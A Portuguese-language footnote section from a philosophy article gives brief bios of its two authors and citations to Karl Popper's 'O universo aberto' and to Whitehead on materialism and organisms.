* Ronaldo Pimentel é licenciado em Filosofia pela UFJF
e mestrando em Filosofia pela UFMG/CNPq

** Tiago Luís Teixeira de Oliveira é Bacharel
Licenciado em Filosofia pela PUC-MG, mestrando em Filosofia pela UFMG e
professor do Colégio Santo Antônio (Belo Horizonte – MG)

 

[2]
POPPER, K. O universo aberto. Lisboa: Dom Quixote, 1988. p. 31.

[3]
Idem, p. 32 (grifos do autor)

[4]
Idem, pp. 32-33.

[5]
Whitehead defenderá que todo o conceito do materialismo só se aplica à lógica e
não aos organismos. Cf. WHITEHEAD, op. cit.  p. 104.

[6]
Cf. POPPER, op. cit. pp. 35-36

[7]
POPPER, K. O universo aberto, pp. 36-37.

[8]
Idem, p. 42.

[9]    Mundo
dos argumentos, instituições humanas, racionalidade, cultura e das teorias
científicas.

[10]  Mundo
em físico, químico e biológico.

[11]  POPPER,
K. O Universo Aberto, pág. 58

[12]  POPPER,
pág. 36

[13]  POPPER,
K. O universo aberto, pág. 92

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